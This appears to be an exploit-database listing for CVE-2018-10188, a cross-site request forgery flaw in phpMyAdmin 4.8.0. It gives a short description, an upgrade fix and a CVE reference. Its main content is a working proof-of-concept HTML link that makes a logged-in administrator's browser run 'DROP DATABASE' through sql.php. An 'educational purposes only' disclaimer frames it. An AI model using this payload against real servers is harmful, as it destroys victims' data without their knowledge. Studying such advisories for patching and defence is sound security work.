Phpmyadmin 4.8.0 < 4.8.01 crosssite request forgery Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-04-23 | Type : webapps | Platform : php
This exploit / vulnerability Phpmyadmin 4.8.0 < 4.8.01 crosssite request forgery is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: phpMyAdmin 4.8.0 < 4.8.0-1 - Cross-Site Request Forgery
# Date: 2018-04-20
# Software Link: https://www.phpmyadmin.net/
# Author: @revengsh & @0x00FI
# CVE: CVE-2018-10188
# Category: Webapps

#1. Description
#The vulnerability exists due to failure in the "/sql.php" script to properly verify the source of HTTP request.
#This Cross-Site Request Forgery (CSRF) allows an attacker to execute arbitrary SQL statement by sending a malicious request to a logged in user.
#2. Proof of Concept: This example sends HTTP GET crafted request in order to drop the specified database.

<html>
<body>
<a href="http://[HOST]/phpmyadmin/sql.php?sql_query=DROP+DATABASE+[DBNAME]">
Drop database
</a>
</body>
</html>

#3. Solution: Upgrade to phpMyAdmin 4.8.0-1 or newer.
#4. Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10188